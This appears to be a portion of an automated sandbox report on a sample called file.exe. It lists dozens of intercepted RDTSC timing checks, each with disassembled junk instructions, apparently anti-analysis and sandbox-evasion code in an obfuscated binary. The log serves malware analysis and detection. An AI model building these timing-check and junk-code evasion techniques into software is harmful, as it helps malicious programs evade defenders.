Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0E34 second address: 49D0E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push ecx 0x00000007 pushad 0x00000008 pushfd 0x00000009 jmp 00007FD7BCC58FDAh 0x0000000e or ecx, 3BF7D7E8h 0x00000014 jmp 00007FD7BCC58FDBh 0x00000019 popfd 0x0000001a call 00007FD7BCC58FE8h 0x0000001f mov edi, ecx 0x00000021 pop eax 0x00000022 popad 0x00000023 mov dword ptr [esp], ebp 0x00000026 pushad 0x00000027 mov dx, C7DEh 0x0000002b movsx edx, ax 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0E89 second address: 49D0E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0E8D second address: 49D0E93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0E93 second address: 49D0E99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0E99 second address: 49D0E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0E9D second address: 49D0EA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A008F7 second address: 4A008FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A008FB second address: 4A008FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A008FF second address: 4A00905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00905 second address: 4A00914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7BCB87A1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00914 second address: 4A00923 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00923 second address: 4A00929 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00929 second address: 4A0096D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007FD7BCC58FE0h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007FD7BCC58FDDh 0x0000001b mov si, 0467h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0096D second address: 4A00989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7BCB87A28h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00989 second address: 4A0099E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD7BCC58FDAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0099E second address: 4A009A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A00D8 second address: 49A0134 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD7BCC58FDFh 0x00000009 jmp 00007FD7BCC58FE3h 0x0000000e popfd 0x0000000f jmp 00007FD7BCC58FE8h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD7BCC58FE7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0134 second address: 49A015A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov edi, 3DFAB720h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A015A second address: 49A017B instructions: 0x00000000 rdtsc 0x00000002 mov dh, 25h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov si, DA11h 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD7BCC58FE3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A017B second address: 49A0181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0181 second address: 49A01AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD7BCC58FE5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A01AB second address: 49A01B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A01B1 second address: 49A01B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A01B5 second address: 49A01B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A01B9 second address: 49A0242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+04h] 0x0000000b pushad 0x0000000c mov ax, di 0x0000000f mov al, dh 0x00000011 popad 0x00000012 push dword ptr [ebp+0Ch] 0x00000015 pushad 0x00000016 call 00007FD7BCC58FE6h 0x0000001b mov ecx, 4B913221h 0x00000020 pop esi 0x00000021 jmp 00007FD7BCC58FE7h 0x00000026 popad 0x00000027 push dword ptr [ebp+08h] 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007FD7BCC58FDBh 0x00000033 jmp 00007FD7BCC58FE3h 0x00000038 popfd 0x00000039 jmp 00007FD7BCC58FE8h 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0242 second address: 49A0248 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0248 second address: 49A024C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A024C second address: 49A0250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C09E4 second address: 49C09EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C09EA second address: 49C0A2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FD7BCB87A20h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD7BCB87A27h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0576 second address: 49C057C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C057C second address: 49C0580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0580 second address: 49C0601 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FD7BCC58FE6h 0x00000011 push eax 0x00000012 jmp 00007FD7BCC58FDBh 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FD7BCC58FE4h 0x0000001f jmp 00007FD7BCC58FE5h 0x00000024 popfd 0x00000025 mov esi, 202380C7h 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FD7BCC58FE4h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0601 second address: 49C0610 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0610 second address: 49C0628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7BCC58FE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C04A4 second address: 49C04D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx ecx, bx 0x0000000e jmp 00007FD7BCB87A21h 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C04D1 second address: 49C04D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C04D5 second address: 49C04DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00814 second address: 4A00847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FD7BCC58FE5h 0x0000000a xor eax, 6D246526h 0x00000010 jmp 00007FD7BCC58FE1h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00847 second address: 4A00857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7BCB87A1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00857 second address: 4A00886 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a call 00007FD7BCC58FDAh 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 movsx edx, si 0x00000015 popad 0x00000016 mov dword ptr [esp], ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FD7BCC58FDFh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00886 second address: 4A008A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 07CAh 0x00000007 mov ax, di 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD7BCB87A1Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A008A8 second address: 4A008C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E01E8 second address: 49E01F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E01F7 second address: 49E02D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push ecx 0x0000000c pushfd 0x0000000d jmp 00007FD7BCC58FE3h 0x00000012 or esi, 464F7DFEh 0x00000018 jmp 00007FD7BCC58FE9h 0x0000001d popfd 0x0000001e pop ecx 0x0000001f jmp 00007FD7BCC58FE1h 0x00000024 popad 0x00000025 push eax 0x00000026 pushad 0x00000027 jmp 00007FD7BCC58FE7h 0x0000002c mov ax, DD1Fh 0x00000030 popad 0x00000031 xchg eax, ebp 0x00000032 pushad 0x00000033 mov bx, ax 0x00000036 pushfd 0x00000037 jmp 00007FD7BCC58FDCh 0x0000003c and si, EE88h 0x00000041 jmp 00007FD7BCC58FDBh 0x00000046 popfd 0x00000047 popad 0x00000048 mov ebp, esp 0x0000004a jmp 00007FD7BCC58FE6h 0x0000004f mov eax, dword ptr [ebp+08h] 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FD7BCC58FE7h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E02D4 second address: 49E02DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E02DA second address: 49E02DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E02DE second address: 49E02E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E02E2 second address: 49E0300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax], 00000000h 0x0000000b pushad 0x0000000c mov ch, bl 0x0000000e mov edi, ecx 0x00000010 popad 0x00000011 and dword ptr [eax+04h], 00000000h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov si, di 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0D44 second address: 49D0D4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0D4A second address: 49D0DBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushad 0x0000000e mov ebx, eax 0x00000010 mov bx, ax 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 jmp 00007FD7BCC58FDFh 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov ecx, ebx 0x00000021 pushfd 0x00000022 jmp 00007FD7BCC58FE7h 0x00000027 add esi, 1033A44Eh 0x0000002d jmp 00007FD7BCC58FE9h 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0DBC second address: 49D0DE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD7BCB87A1Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0DE2 second address: 49D0DE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0DE8 second address: 49D0DF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0DF7 second address: 49D0DFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0DFB second address: 49D0E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E003F second address: 49E0045 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0045 second address: 49E004B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E004B second address: 49E004F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E004F second address: 49E0067 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007FD7BCB87A1Bh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0067 second address: 49E0079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 mov ecx, edi 0x00000008 pop ebx 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0079 second address: 49E0092 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0092 second address: 49E0098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0098 second address: 49E009C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E009C second address: 49E00B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a mov edi, 6F7AF208h 0x0000000f push eax 0x00000010 push edx 0x00000011 mov dx, 3E52h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0004C second address: 4A00064 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pop edx 0x00000008 popad 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c movzx ecx, bx 0x0000000f mov ch, bl 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 mov ax, 143Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00064 second address: 4A000A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FD7BCC58FDFh 0x00000012 sbb ch, 0000001Eh 0x00000015 jmp 00007FD7BCC58FE9h 0x0000001a popfd 0x0000001b movzx eax, di 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A000A1 second address: 4A000A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A000A7 second address: 4A00108 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007FD7BCC58FE0h 0x00000011 push eax 0x00000012 pushad 0x00000013 jmp 00007FD7BCC58FE1h 0x00000018 popad 0x00000019 xchg eax, ecx 0x0000001a jmp 00007FD7BCC58FDDh 0x0000001f mov eax, dword ptr [76FA65FCh] 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FD7BCC58FDDh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00108 second address: 4A00163 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c jmp 00007FD7BCB87A1Ch 0x00000011 mov bh, al 0x00000013 popad 0x00000014 je 00007FD82F0AB24Dh 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FD7BCB87A26h 0x00000023 sub ecx, 4D1054C8h 0x00000029 jmp 00007FD7BCB87A1Bh 0x0000002e popfd 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00163 second address: 4A00168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00168 second address: 4A0018F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 7FF8h 0x00000007 mov si, bx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ecx, eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD7BCB87A26h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0018F second address: 4A001C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, dh 0x00000005 call 00007FD7BCC58FDAh 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xor eax, dword ptr [ebp+08h] 0x00000011 jmp 00007FD7BCC58FDEh 0x00000016 and ecx, 1Fh 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FD7BCC58FDAh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A001C4 second address: 4A001C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A001C8 second address: 4A001CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A001CE second address: 4A001D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A001D4 second address: 4A001D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A001D8 second address: 4A001F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ror eax, cl 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD7BCB87A20h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A001F5 second address: 4A001F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A001F9 second address: 4A0022A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD7BCB87A20h 0x0000000b popad 0x0000000c leave 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD7BCB87A27h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0022A second address: 4A0026F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d mov esi, eax 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 xor esi, dword ptr [00212014h] 0x00000018 push eax 0x00000019 push eax 0x0000001a push eax 0x0000001b lea eax, dword ptr [ebp-10h] 0x0000001e push eax 0x0000001f call 00007FD7C1489160h 0x00000024 push FFFFFFFEh 0x00000026 jmp 00007FD7BCC58FDEh 0x0000002b pop eax 0x0000002c pushad 0x0000002d push ecx 0x0000002e push ebx 0x0000002f pop eax 0x00000030 pop edi 0x00000031 mov bl, ah 0x00000033 popad 0x00000034 ret 0x00000035 nop 0x00000036 push eax 0x00000037 call 00007FD7C1489173h 0x0000003c mov edi, edi 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 push eax 0x00000042 pop edx 0x00000043 movzx esi, bx 0x00000046 popad 0x00000047 rdtsc
